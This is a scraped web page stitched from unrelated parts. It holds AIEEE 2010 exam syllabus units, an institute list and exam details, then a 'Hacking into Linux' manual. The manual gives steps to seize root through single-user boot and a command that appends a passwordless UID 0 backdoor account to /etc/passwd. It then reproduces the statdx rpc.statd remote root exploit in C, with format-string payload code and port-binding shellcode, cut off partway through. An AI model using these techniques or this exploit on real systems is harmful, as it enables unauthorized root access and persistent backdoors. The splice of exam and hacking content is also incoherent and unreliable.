UNIT 11: ELECTROSTATICS: Electric charges: Conservation of charge, Coulomb’s law-forces between two point charges, forces between multiple charges; superposition principle and continuous charge distribution. Electric field: Electric field due to a point charge, Electric field lines, Electric dipole, Electric field due to a dipole, Torque on a dipole in a uniform electric field. Electric flux, Gauss’s law and its applications to find field due to infinitely long uniformly charged straight wire, uniformly charged infinite plane sheet and uniformly charged thin spherical shell. Electric potential and its calculation for a point charge, electric dipole and system of charges; Equipotential surfaces, Electrical potential energy of a system of two point charges in an electrostatic field. Conductors and insulators, Dielectrics and electric polarization, capacitor, combination of capacitors in series and in parallel, capacitance of a parallel plate capacitor with and without di electric medium between the plates, Energy stored in a capacitor.

Tips for AIEEE Physics Exam Practice :

The 35 questions in this section should ideally be allotted 50 minutes.

The syllabus contains two Sections - A and B. Section - A pertains to the Theory Part having 80% weightage, while Section - B contains Practical Component (Experimental Skills) having 20% weightage.

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AIEEE Syllabus of Mathematics 2010:

 

UNIT 1: SETS, RELATIONS AND FUNCTIONS: Sets and their representation; Union, intersection and complement of sets and their algebraic properties; Power set; Relation, Types of relations, equivalence relations, functions;. one-one, into and onto functions, composition of functions.

UNIT 2: COMPLEX NUMBERS AND QUADRATIC EQUATIONS: Complex numbers as ordered pairs of reals, Representation of complex numbers in the form a+ib and their representation in a plane, Argand diagram, Algebra of complex numbers, modulus and argument (or amplitude) of a complex number, square root of a complex number, triangle inequality, Quadratic equations in real and complex number system and their solutions.

Relation between roots and co-efficients, nature of roots, formation of quadratic equations with given roots.

UNIT 3: MATRICES AND DETERMINANTS: Matrices, algebra of matrices, types of matrices, determinants and matrices of order two and three. Properties of determinants, evaluation of determinants, area of triangles using determinants. Adjoint and evaluation of inverse of a square matrix using determinants and elementary transformations, Test of consistency and solution of simultaneous linear equations in two or three variables using determinants and matrices.

UNIT 4: PERMUTATIONS AND COMBINATIONS: Fundamental principle of counting, permutation as an arrangement and combination as selection, Meaning of P (n,r) and C (n,r), simple applications.

UNIT 5: MATHEMATICAL INDUCTION: Principle of Mathematical Induction and its simple applications.

UNIT 6: BINOMIAL THEOREM AND ITS SIMPLE APPLICATIONS: Binomial theorem for a positive integral index, general term and middle term, properties of Binomial coefficients and simple applications.

UNIT 7: SEQUENCES AND SERIES: Arithmetic and Geometric progressions, insertion of arithmetic, geometric means between two given numbers. Relation between A.M. and G.M. Sum upto n terms of special series: Sn, Sn2, Sn3. Arithmetico - Geometric progression.

UNIT 8: LIMIT, CONTINUITY AND DIFFERENTIABILITY: Real - valued functions, algebra of functions, polynomials, rational, trigonometric, logarithmic and exponential functions, inverse functions. Graphs of simple functions. Limits, continuity and differentiability. Differentiation of the sum, difference, product and quotient of two functions. Differentiation of trigonometric, inverse trigonometric, logarithmic, exponential, composite and implicit functions; derivatives of order upto two. Rolle’s and Lagrange’s Mean Value Theorems. Applications of derivatives: Rate of change of quantities, monotonic - increasing and decreasing functions, Maxima and minima of functions of one variable, tangents and normals.

UNIT 9: INTEGRAL CALCULUS: Integral as an anti - derivative. Fundamental integrals involving algebraic, trigonometric, exponential and logarithmic functions. Integration by substitution, by parts and by partial fractions. Integration using trigonometric identities. Evaluation of simple integrals of the type Integral as limit of a sum. Fundamental Theorem of Calculus. Properties of definite integrals. Evaluation of definite integrals, determining areas of the regions bounded by simple curves in standard form.

UNIT 10: Differential Equations: Ordinary differential equations, their order and degree. Formation of differential equations. Solution of differential equations by the method of separation of variables, solution of homogeneous and linear differential equations

UNIT 11: CO-ORDINATE GEOMETRY: Cartesian system of rectangular co-ordinates in a plane, distance formula, section formula, locus and its equation, translation of axes, slope of a line, parallel and perpendicular lines, intercepts of a line on the coordinate axes.

Straight lines: Various forms of equations of a line, intersection of lines, angles between two lines, conditions for concurrence of three lines, distance of a point from a line, equations of internal and external bisectors of angles between two lines, coordinates of centroid, orthocentre and circumcentre of a triangle, equation of family of lines passing through the point of intersection of two lines.

Circles, conic sections: Standard form of equation of a circle, general form of the equation of a circle, its radius and centre, equation of a circle when the end points of a diameter are given, points of intersection of a line and a circle with the centre at the origin and condition for a line to be tangent to a circle, equation of the tangent. Sections of cones, equations of conic sections (parabola, ellipse and hyperbola) in standard forms, condition for y = mx + c to be a tangent and point (s) of tangency.

UNIT 12: Three Dimensional Geometry: Coordinates of a point in space, distance between two points, section formula, direction ratios and direction cosines, angle between two intersecting lines. Skew lines, the shortest distance between them and its equation. Equations of a line and a plane in different forms, intersection of a line and a plane, coplanar lines.

UNIT 13: Vector Algebra: Vectors and scalars, addition of vectors, components of a vector in two dimensions and three dimensional space, scalar and vector products, scalar and vector triple product.

UNIT 14: STATISTICS AND PROBABILITY: Measures of Dispersion: Calculation of mean, median, mode of grouped and ungrouped data. Calculation of standard deviation, variance and mean deviation for grouped and ungrouped data.

Probability: Probability of an event, addition and multiplication theorems of probability, Baye’s theorem, probability distribution of a random variate, Bernoulli trials and Binomial distribution.

UNIT 15: Trigonometry: Trigonometrical identities and equations. Trigonometrical functions. Inverse trigonometrical functions and their properties. Heights and Distances.

UNIT 16: MATHEMATICAL REASONING: Statements, logical operations and, or, implies, implied by, if and only if. Understanding of tautology, contradiction, converse and contrapositive.

This section is to be allotted the maximum time out of the three sections. The 35 questions you have in this section must be attempted in not more than 70 minutes.

Tips for AIEEE Mathematics Exam Practice:

This section is to be allotted the maximum time out of the three sections. The 35 questions you have in this section must be attempted in not more than 70 minutes.

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List of Participating AIEEE Institutes 2010

A. National Institutes of Technology (NIT)

1. Motilal Nehru National Institute of Technology, Allahabad (Uttar Pradesh)
2. Maulana Azad National Institute of Technology, Bhopal (Madhya Pradesh)
3. National Institute of Technology, Calicut (Kerela)
4. National Institute of Technology, Durgapur (West Bengal)
5. National Institute of Technology, Hamirpur (Himachal Pradesh)
6. Malviya National Institute of Technology, Jaipur (Rajasthan)
7. Dr. B R Ambedkar National Institute of Technology, Jalandhar (Punjab)
   8. National Institute of Technology, Jamshedpur (Jharkhand)
   9. National Institute of Technology, Kurukshetra (Haryana)
   10. Visvesvaraya National Institute of Technology, Nagpur (Maharashtra)
   11. National Institute of Technology, Patna (Bihar)
   12. National Institute of Technology, Rourkela (Orissa)
   13. National Institute of Technology, Silchar (Assam)
   14. National Institute of Technology, Hazartbal, Srinagar (J & K)
   15. National Institute of Technology, Surathkal, Manglore (Karnataka)
   16. Sardar Vallabhbhai National Institute of Technology, Surat (Gujarat)
   17. National Institute of Technology, Tiruchirapalli (Tamil Nadu)
   18. National Institute of Technology, Warangal (Andhra Pradesh)
   19. National Institute of Technology(NIT),Raipur,Chhatisgarh
   20. National Institute of Technology(NIT),Tripura,Agartala

   B. Indian Institutes of Information Technology (IIIT) and Indian Institute of Information Technology and Management (IIITM)
   

   1. Indian Institute of Information Technology, Amethi, Allahabad (U.P.)
   2. Atal Bihari Vajpayee Indian Institute of Information Technology & Management, Gwalior (M.P.)
   3. Pandit Dwarka Prasad Mishra Indian Institute of Information Technology, Design & Manufacturing, Jabalpur (M.P.)
   4. Indian Institute of Information Technology Design & Manufacturing, Kanchipuram, Tamil Nadu.
   5. Indian Institute of Information Technology, Jhalwa, Allahabad (U.P.).

   C. Self Financed Deemed Universities/University
   

   1. International Institute of Information Technology, Hyderabad (A.P.)
   2. Birla Institute of Technology (Mesra Centre), Mesra, Ranchi (Jharkhand)
   3. Birla Institute of Technology (Patna Centre), Mesra, Ranchi
   4. Birla Institute of Technology (Deogarh Centre), Mesra, Ranchi
   5. Shri Mata Vaishno Devi University, Gandhinagar, Jammu Tawi (J & K)
   6. Kalinga Institute of Industrial Technology, Bhubhaneswar (Orissa)
   7. Shanmugha Arts, Science, Technology & Research Academy (Sastra), Thanjavur-613402 (Tamil Nadu)
   8. LNM Institute of Information Technology, Jaipur, Rajasthan
   9. Sri. Chandrasekharendra Saraswathi Viswa Mahavidyalaya, Kanchipuram (Tamil Nadu)
   10. Dr.M.G.R. Educational And Research Institute, Chennai (Tamil Nadu)
   11. Faculty of Engineering & Technology, Gurukul Kangri Vishwavidyalaya, Haridwar (Uttarakhand)
   12. Jaipur National University, Jagatpura, Jaipur (Rajasthan)
   13. Lovely Professional University, Phagwara, Distt. Kapurthala (Punjab)
   14. Kalasalingam University, Anand Nagar, Krishnan Koil (TN)
   15. Sir Padampat Singhania University, Udaipur (Rajasthan)
   16. Siksha 'O' Anusandhan University, Bhubaneswar (Orissa)
   17. Jayoti Vidyapeeth Women's University, Jaipur (Rajasthan).
   18. Mewar University, Chittorgarh-312901 (Rajasthan).
   19. Vignan's Foundation for Science Technology & Research, Distt.-Guntur, Vadiamudi-522213.
   20. Institute of Applied Medicines and Research (Engineering College) Meerut-201206

   D. Other Central Government Funded Institutions
   

   1. Indian Institute of Carpet Technology, Bhadohi (U.P.)(IICT, Bhadohi)
   2. School of Planning and Architecture, I.P. Estate, New Delhi (SPA, Delhi).
   3. National Insitute of Foundary & Forge Technology, P.O. Hatia, Ranchi (Jharkhand), (NIFFT, Ranchi)
   4. Assam University, Silchar (Assam)
   5. J.K. Institute of Applied Physics & Technology, University of allahabad, Allahabad-211002(U.P.)
   6. Tezpur University, NAPAAM, Tezpur (Assam)
   7. Institute of Technology, Bilaspur-495009(C.G.)
   8. School of Planning and Architecture, Bhopal
   9. School of Planning and Architecture, Vijayawada
   10. Mizoram University, Aizawal-796009

   The States/Institutes listed below are likely to use AIEEE-2010 ranks to fill seats through their own counselling.
   

   1. Haryana
   2. Uttrakhand
   3. Himachal Pradesh (All India Quota will be filled through Central Counselling Board)
   4. Army Institute of Technology, Pune, Maharashtra
   5. Delhi Technological University, Bawana Road, Delhi.
   6. 15% All India Quata in N.S.I.T., Delhi under Delhi University will be filled through central counselling board

   List of Participating AIEEE Institutes 2010

    

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AIEEE Exam 2010

Central Board of Secondary Education
All India Engineering / Architecture Entrance Examination (AIEEE)
Shiksha Sadan, 17-Rouse Avenue, Institutional Area
(Near Bal Bhavan) New Delhi - 110 002

The All India Engineering Entrance Examination (AIEEE 2010) is for all engineering aspirants who have appeared for or passed Class XII from any national or state recognised board.

AIEEE 2010 Exam Date: 25-04-2010

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HACKING INTO LINUX

_____________________________________________________________________

Hacking into Linux

_____________________________________________________________________

Till now almost all Hacking Truths manuals have been Windows centric. I have always kept the newbie Windows user in mind, while writing manuals. However, with the growing popularity of Linux and the fact that Linux is considered to be the Hacker’s OS, I decided to start a *nix series.

Getting Root on a Linux machine

As you read this manual, you will discover that our basic aim always remains the same, i.e. we want to get root. Now, root is nothing but sort of a sort user, who has maximum privileges, and can do whatever he wants to do on a system. ‘Root’ is to *nix what administrator is to Windows NT. If you get root then you can practically control each and every aspect of the system. You could, remove accounts, delete files, disable daemons, and even format the entire system.

******************

NEWBIE NOTE: Getting root is considered to be really really elite especially in schools. If you are able to get root in your school network, then you practically get transformed into a semi-god, but why? Well, the reasons are pretty obvious. Aren’t they?

******************

OK, I am really interested. How do I do it? Well, in this section, we are not going to run any C program nor are we going to do any kind of coding, but we will simply exploit a small vulnerability existing in a feature which comes with Linux. This will work almost 9 times out of 10, however, if you plan to use this technique to get ‘root’ on your ISP, then forget it pal. The technique explained below is quite common and the system administrator would probably be smart enough to cover up this security loophole.

Before we move on, there is one thing that you need to keep in mind. i.e. For this to work, you need to have physical access to the target system. Anyway, boot the target system and wait for the LInux LOader or LILO Prompt to come up.

At the LILO prompt type ‘linux single’ (without Quotes) or ‘linux 1’ to get the root shell where you can practically do anything.

Once Linux single is running, you get the root shell where you can type can any command which is accepted by the default shell on your system. Now, here, type ‘linuxconf’. This will bring up a blue screen, which is the Linux Configuration Utility. Then, click on Users > Root Password. This will allow you to change the root password!!! Yes, you read right, change the root password. Scroll down further, and you could also add new accounts with root privileges.

The linux config utility is certainly not a hole in Linux. It was actually designed to help, if the root password was forgotten.

Well, there is yet another way in which we can get root. In the first method, we typed ‘linuxconf’ in the bash shell prompt, however, we could type the following to create a new account with root privileges and without any password:

echo “ankit::0:0:::” >> /etc/passwd

This command will basically edit the /etc/passwd file which is the password file which stores the Passwords and Usernames of all accounts on the machine. One thing to remember here is that you can edit the /etc/passwd file only if you are logged in as root, however, in this case we are not logged in as root, but we have booted into linux single which gives us the root shell. Hence, we can still edit it.

Anyway, to understand how exactly the above command works and how it is able to create a new account without a password, we need to learn the /etc/passwd file is structured.

The following is a line from a password file:

ankit:my_password:2:3:Ankit Fadia:/home/ankit:/bin/bash

The above can in turn be broken up into:

Username: ankit

Encrypted Password: my_password

User number: 2

Group Number: 3

Actual Name: Ankit Fadia (Optional)

Home Directory: /home/ankit (Optional)

Type of Shell: /bin/bash (Optional)

In our command, we have not included the optional fields and the password field of a typical password file line. Our command:

echo “ankit::0:0:::” >> /etc/passwd

can be rewritten as:

Username: ankit

Encrypted Password:

User number: 0

Group Number: 0

Actual Name:

Home Directory:

Type of Shell:

This basically creates a new account with root privileges, which can be used as a Backdoor into the system.

**********************

HACKING TRUTH: If you have enabled, shadow passwords, then the command will change to:

echo “ankit::0:0:::” >> /etc/shadow

A typical line from the password file on a system with Shadow Passwords enabled is as follows:

ankit:*:2:3:Ankit Fadia:/home/ankit:/bin/bash

In a shadowed password file what happens is that the password field is replaced by a ' * ' (The ' * ' is called a token.) such that the encrypted password does not show up in the password file and the list of encrypted passwords is stored in a different file which is not readable by normal users.

**********************

I have tired the above method on a number of systems, and have found that it works only about 80% of the times. So, after some more fooling around, I came about with yet another method, which till now seems to be foolproof.

Now, as you are in the root shell, launch your favorite editor (eg vi) and open /etc/passwd in it. Now, delete the encrypted text between the first two colons in the line, which contains the entry for root. This, will not create a new account with root privileges, but will change the password of the root, to null. So, basically this will get you a root account without any password. Once, you have removed the encrypted password, at the prompt, type ‘init 3’ to switch back to the normal start up or else for a graphical start up type: ‘ init 5’.

Now, say you do not want to create a new account, but want to change the root password so as to teach the system administrator a lesson. What do you do? Well, simply use the passwd command followed by the new password. As you are in the root shell, the root password will change to the new one that you supply.

OK, I get the point; Linux too is not 100% safe, so how can I make it safer? Well, you could password protect linux single. To do so, you have to launch your favorite editor like vi, and open /etc/LILO.conf. Now, add the following line, in a new line, after the first line:

Restricted password_goes_here

(The above is: Restricted followed by a space and following by the password that you choose.)

Now, save and close the editor. At the prompt then type: LILO, to execute the /etc/LILO.conf file, so as to make the changes. Now, the next time, you type linux single, at the LILO prompt, you will be asked the password that you typed in the above file. So this basically acts as another barrier for anyone trying to use the techniques described in this manual, to break into your Linux box. None, of the other functioning of the linux box will be affected.

********************

HACKING TRUTH: Well, Aragon (veljkop@ptt.yu ) suggested yet another method, which I would like to mention.

1.Go to directory /etc/rc.d

2.In it there should be several files if your lucky there are a bunch of files with similar names rc.1,rc.2...etc. these files are shell scripts which are run each time when the named runnlevel is started. These files are very much similar to autoexec.bat but even more complex you can mess with them to cause interesting results BUT be CAREFULL!). rc.1 is therefore the file for runlevel one

3.Backup it in a file named rc.x (or something else)

4.Copy some other runlevel (runlevel 3 is good) but make sure that the runlevel is multi-user.

5.Make a boot and root(for Slackware) disc (do not skip this) so if anything goes wrong you still have a

runlevel 1

*********************

Getting root Remotely

The following has been taken from Bugtraq, this exploit is supposed to get you root. However, it has not been tested or verified by me. So give me the feedback.

___________________________________________

From: ron1n -

Subject: Redhat Linux 6.x remote root exploit

To: BUGTRAQ@SECURITYFOCUS.COM

X-UIDL: ad2856edbbc97d8db5d468ce6eb1f600



Hi,



Included below is an exploit for the recently exposed linux rpc.statd

format string vulnerability[0]. I have tailored it towards current Redhat

Linux 6.x installations. It can easily be incorporated into attacks against

the other vulnerable Linux distributions.



I am not a security expert, but I'll offer my two cents worth: this format

string issue, while drawing upon elements of straightforward buffer overflow

exploitation, is more insidious and will probably take some time to instill

itself in the minds of even security-conscious programmers. Programs like

ITS4[1], pscan[2], and grep (heh!) do offer valuable assistance when trying

to isolate weak portions of code in a phase one search. However, one thing

I've

learnt during my short time researching these things is that the complex

interaction between code and data introduces the need for a more extensive

line by line audit[3].



This "new" problem will (if it hasn't already) spark a new wave of code

reviews

of critical applications, especially those networking daemons and privileged

programs which were given the "all clear" in the first sweep (although

history

shows us that a lot of programs somehow slipped through the cracks.) Someone

else sent an excellent post about the possibility of "remote debugging" with

these format string vulnerabilities. Once again, I'm not speaking out of any

authority, but I can say that such an aid to otherwise blind exploitation

is indeed a godsend when a host is being probed by a skilled intruder.



You must understand that this particular vulnerability is much harder to

exploit than the buffer overflow vulnerabilities that you're probably

accustomed to. The problem which will bite you is that if the calculations

are not precise, statd crashes with a SIGSEGV. As you've realized by now,

brute forcing won't cut it. Also, a successful exploitation will render

subsequent attacks fruitless.



I have seen statd running on a great number of linux systems and if you can

simulate an attack against a remote system on one of your own boxes, it is

*trivial* to exploit that remote system. Despite the shortcoming with

the single attempt restriction, it was possible to reduce the exploitation

variables down to a SINGLE address for most attacks. The default values

for Redhat Linux 6.x work fine for me, so I'm probably fussing over nothing.



Anyway, enjoy the exploit.



ron1n

shellcode@hotmail.com

Sydney, Australia

McDonalds drive-thru guy



[0] http://www.securityfocus.com/

[1] http://www.rstcorp.com/its4/

[2] http://www.striker.ottawa.on.ca/~aland/pscan/

[3] http://www.openbsd.org/





!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$



/**

*** statdx

*** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32)

*** by ron1n

***

*** July 24, 2000

*** Sydney, Australia

***

*** Oh you prob'ly won't remember me

*** It's prob'ly ancient history

*** I'm one of the chosen few

*** Who went ahead and fell for you

***

*** $ gcc -o statdx statdx.c ; ./statdx -h

***

*** background info

*** ---------------

*** rpc.statd is an ONC RPC server that implements the Network Status

*** Monitor RPC protocol to provide reboot notification. It is used by

*** the NFS file locking service (rpc.lockd) when it performs lock

*** recovery.

***

*** Due to a format string vulnerability in a call to syslog() within

*** its logging module, rpc.statd can be exploited remotely by script

*** kids bent on breaking into your Redhat Linux box and defacing your

*** website with crackpot political musings.

***

*** This is not a traditional buffer overflow vulnerability. The data

*** are kept within the bounds of the buffer by means of a call to

*** vsnprintf(). The saved return address can be overwritten indirectly

*** without a contiguous payload. syslog() is given, for the most part,

*** a user-supplied format string with no process-supplied arguments.

*** Our format string will, if carefully constructed, cause the process

*** to cull non-arbitrary addresses from the top of the stack for

*** sequential writes using controlled values. Exploitation requires

*** an executable stack on the target host -- almost invariably the

*** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm.

***

*** exploit info

*** ------------

*** You have one shot at this in most situations, so get it right!

***

*** If you know the port number rpc.statd is serving requests on, you

*** can supply the port number on the commandline to bypass the initial

*** portmapper query. This is very useful for hosts which are filtering

*** inbound connections to the portmapper. The default attack protocol

*** is UDP. There is a commandline option to use TCP. Apparently, the

*** dispatcher uses both protocols by default.

***

*** If you're only interested in exploiting a host, then you can safely

*** skip the following information. You'll only need a buffer address

*** to get started. This buffer address will either be one of my canned

*** ones or your own one. It must be precise, and this is where you're

*** likely to experience difficulties with your attacks.

***

*** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]----->

*** | |

*** %esp buffer[1024]

***

*** [%x..][%!d][%n][%!d][%n][%!d][%n][%!d][%n][sc]--->

*** | r | r+1 | r+2 | r+3 |

***

*** buffer -> This is the address you'll need (-a and -l options)

*** str -> Process-supplied string; 24 bytes long

*** 4 -> Duplicate dwords to satisfy the %!d specifiers and

*** the double %n when two successive values are equal

*** r -> Stack position of saved eip

*** %x.. -> Wipes the va_list dword and str; 9 by default (-w option)

*** %!d -> Used for padding to form an aggregate overwrite value;

*** the exclamation mark denotes a field width. This may

*** or may not be present, depending on the value. An

*** algorithm is used to allow tricky values.

*** %n -> Writes overwrite value to the corresponding address

*** sc -> Nops + portbinding shellcode (port 39168)

***

*** Only modify the default wipe value and the default offset value if you

*** know what you're doing.

***

*** An easy way to get the buffer address for simulation systems that you

*** have privileged access to:

***

*** [term 1]# ltrace -p `pidof rpc.statd` -o foo

*** [term 2]$ ./statdx -r 0x41414141 localhost

*** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \

*** awk -F"," '{print $1}'

***

*** (Of course, ensure that rpc.statd is started at boot time and not from

*** an interactive shell, otherwise it will inherit a larger environment

*** and blow the accuracy of your findings.)

***

*** Ok, longwinded enough. Let's dance.

***

*** greets

*** ------

*** ADM, attrition, rogues, security.is, teso

***

**/



#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include



#define SM_PROG 100024

#define SM_VERS 1

#define SM_STAT 1

#define SM_MAXSTRLEN 1024



#define max(a,b) ((a)>(b)?(a):(b))



#define NOP 0x90



/*

** Non-ripped linux IA32 portbinding shellcode.

** port: 39168 ; length: 133 bytes

*/



char shellcode[] =

"\x31\xc0" /* xorl %eax,%eax */

/* jmp ricochet ------------------------------------------------------- */

"\xeb\x7c" /* jmp 0x7c */

/* kungfu: ------------------------------------------------------------ */

"\x59" /* popl %ecx */

"\x89\x41\x10" /* movl %eax,0x10(%ecx) */

/* ------------------------------------ socket(2,1,0); ---------------- */

"\x89\x41\x08" /* movl %eax,0x8(%ecx) */

"\xfe\xc0" /* incb %al */

"\x89\x41\x04" /* movl %eax,0x4(%ecx) */

"\x89\xc3" /* movl %eax,%ebx */

"\xfe\xc0" /* incb %al */

"\x89\x01" /* movl %eax,(%ecx) */

"\xb0\x66" /* movb $0x66,%al */

"\xcd\x80" /* int $0x80 */

/* ------------------------------------ bind(sd,&sockaddr,16); -------- */

"\xb3\x02" /* movb $0x2,%bl */

"\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */

"\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */

"\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */

"\x89\x49\x04" /* movl %ecx,0x4(%ecx) */

"\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */

"\x88\x01" /* movb %al,(%ecx) */

"\xb0\x66" /* movb $0x66,%al */

"\xcd\x80" /* int $0x80 */

/* ------------------------------------ listen(sd,blah); -------------- */

"\xb3\x04" /* movb $0x4,%bl */

"\xb0\x66" /* movb $0x66,%al */

"\xcd\x80" /* int $0x80 */

/* ------------------------------------ accept(sd,0,16); -------------- */

"\xb3\x05" /* movb $0x5,%bl */

"\x30\xc0" /* xorb %al,%al */

"\x88\x41\x04" /* movb %al,0x4(%ecx) */

"\xb0\x66" /* movb $0x66,%al */

"\xcd\x80" /* int $0x80 */

/* ------------------------------------ dup2(cd,0); ------------------- */

"\x89\xce" /* movl %ecx,%esi */

"\x88\xc3" /* movb %al,%bl */

"\x31\xc9" /* xorl %ecx,%ecx */

"\xb0\x3f" /* movb $0x3f,%al */

"\xcd\x80" /* int $0x80 */

/* ------------------------------------ dup2(cd,1); ------------------- */

"\xfe\xc1" /* incb %cl */

"\xb0\x3f" /* movb $0x3f,%al */

"\xcd\x80" /* int $0x80 */

/* ------------------------------------ dup2(cd,2); ------------------- */

"\xfe\xc1" /* incb %cl */

"\xb0\x3f" /* movb $0x3f,%al */

"\xcd\x80" /* int $0x80 */

/* ------------------------------------ execve("/bin/sh",argv,0); ----- */

"\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */

"\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */

"\x30\xc0" /* xorb %al,%al */

"\x88\x46\x07" /* movb %al,0x7(%esi) */

"\x89\x76\x0c" /* movl %esi,0xc(%esi) */

"\x8d\x56\x10" /* leal 0x10(%esi),%edx */

"\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */

"\x89\xf3" /* movl %esi,%ebx */

"\xb0\x0b" /* movb $0xb,%al */

"\xcd\x80" /* int $0x80 */

/* ------------------------------------ exit(blah); ------------------- */

"\xb0\x01" /* movb $0x1,%al */

"\xcd\x80" /* int $0x80 */

/* ricochet: call kungfu ---------------------------------------------- */

"\xe8\x7f\xff\xff\xff"; /* call -0x81 */



enum res

{

stat_succ,

stat_fail

};



struct sm_name

{

char *mon_name;

};



struct sm_stat_res

{

enum res res_stat;

int state;

};



struct type

{

int type;

char *desc;

char *code;

u_long bufpos;

int buflen;

int offset;

int wipe;

};



struct type types[] =

{

{0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600,

9},

{1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9},

{2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9},

{0, NULL, NULL, 0, 0, 0, 0}

};



bool_t

xdr_sm_name(XDR *xdrs, struct sm_name *objp)

{

if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))

return (FALSE);

return (TRUE);

}



bool_t

xdr_res(XDR *xdrs, enum res *objp)

{

if (!xdr_enum(xdrs, (enum_t *)objp))

return (FALSE);

return (TRUE);

}



bool_t

xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)

{

if (!xdr_res(xdrs, &objp->res_stat))

return (FALSE);

if (!xdr_int(xdrs, &objp->state))

return (FALSE);

return (TRUE);

}



void

usage(char *app)

{

int i;



fprintf(stderr, "statdx by ron1n \n");

fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app);

fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type]

\n");

fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n");

fprintf(stderr, "-p\trpc.statd serves requests on [query]\n");

fprintf(stderr, "-a\tthe stack address of the buffer is \n");

fprintf(stderr, "-l\tthe length of the buffer is [1024]\n");

fprintf(stderr, "-o\tthe offset to return to is [600]\n");

fprintf(stderr, "-w\tthe number of dwords to wipe is [9]\n");

fprintf(stderr, "-s\tset timeout in seconds to [5]\n");

fprintf(stderr, "-d\tuse a hardcoded \n");

fprintf(stderr, "Available types:\n");



for(i = 0; types[i].desc; i++)

fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc);



exit(EXIT_FAILURE);

}



void

runshell(int sockd)

{

char buff[1024];

int fmax, ret;

fd_set fds;



fmax = max(fileno(stdin), sockd) + 1;

send(sockd, "cd /; ls -alF; id;\n", 19, 0);



for(;;)

{



FD_ZERO(&fds);

FD_SET(fileno(stdin), &fds);

FD_SET(sockd, &fds);



if(select(fmax, &fds, NULL, NULL, NULL) < 0) { perror("select()"); exit(EXIT_FAILURE); } if(FD_ISSET(sockd, &fds)) { bzero(buff, sizeof buff); if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) { perror("recv()"); exit(EXIT_FAILURE); } if(!ret) { fprintf(stderr, "Connection closed\n"); exit(EXIT_FAILURE); } write(fileno(stdout), buff, ret); } if(FD_ISSET(fileno(stdin), &fds)) { bzero(buff, sizeof buff); ret = read(fileno(stdin), buff, sizeof buff); errno = 0; if(send(sockd, buff, ret, 0) != ret) { if(errno) perror("send()"); else fprintf(stderr, "Transmission loss\n"); exit(EXIT_FAILURE); } } } } void connection(struct sockaddr_in host) { int sockd; host.sin_port = htons(39168); if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket()"); exit(EXIT_FAILURE); } if(!connect(sockd, (struct sockaddr *) &host, sizeof host)) { printf("OMG! You now have rpc.statd technique!@#$!\n"); runshell(sockd); } close(sockd); } char * wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe) { int i, j, cnt, pad; char pbyte, *buff, *ptr; u_long retpos; u_long dstpos; while(bufpos % 4) bufpos--; /* buflen + ebp */ retpos = bufpos + buflen + 4; /* ** 0x00 == '\0' ** 0x25 == '%' ** (add troublesome bytes) ** Alignment requirements aid comparisons */ pbyte = retpos & 0xff; /* Yes, it's 0x24 */ if(pbyte == 0x00 || pbyte == 0x24) { fprintf(stderr, "Target address space contains a poison char\n"); exit(EXIT_FAILURE); } /* ** Unless the user gives us a psychotic value, ** the address should now be clean. */ /* str */ cnt = 24; /* 1 = process nul */ buflen -= cnt + 1; if(!(buff = malloc(buflen + 1))) { perror("malloc()"); exit(EXIT_FAILURE); } ptr = buff; memset(ptr, NOP, buflen); for(i = 0; i < 4; i++, retpos++) { /* junk dword */ for(j = 0; j < 4; j++) *ptr++ = retpos >> j * 8 & 0xff;

/* r + i */

memcpy(ptr, ptr - 4, 4);

ptr += 4; cnt += 8;

}



/* restore */

retpos -= 4;



for(i = 0; i < wipe; i++) { /* consistent calculations */ strncpy(ptr, "%8x", 3); ptr += 3; cnt += 8; } dstpos = bufpos + offset; /* ** This small algorithm of mine can be used ** to obtain "difficult" values.. */ for(i = 0; i < 4; i++) { pad = dstpos >> i * 8 & 0xff;

if(pad == (cnt & 0xff))

{

sprintf(ptr, "%%n%%n");

ptr += 4; continue;

}

else

{

int tmp;

/* 0xffffffff = display count of 8 */

while(pad < cnt || pad % cnt <= 8) pad += 0x100; pad -= cnt, cnt += pad; /* the source of this evil */ tmp = sprintf(ptr, "%%%dx%%n", pad); ptr += tmp; } } *ptr = NOP; /* plug in the shellcode */ memcpy(buff + buflen - strlen(sc), sc, strlen(sc)); buff[buflen] = '\0'; printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff)); printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset); printf("wiping %d dwords\n", wipe); return buff; } struct in_addr getip(char *host) { struct hostent *hs; if((hs = gethostbyname(host)) == NULL) { herror("gethostbyname()"); exit(EXIT_FAILURE); } return *((struct in_addr *) hs->h_addr);

}





int

main(int argc, char **argv)

{

int ch;

char *buff;



CLIENT *clnt;

enum clnt_stat res;

struct timeval tv, tvr;

struct sm_name smname;

struct sm_stat_res smres;

struct sockaddr_in addr;



int type = -1;

int usetcp = 0;

int timeout = 5;

int wipe = 9;

int offset = 600;

int buflen = 1024;

char *target;

char *sc = shellcode;

u_short port = 0;

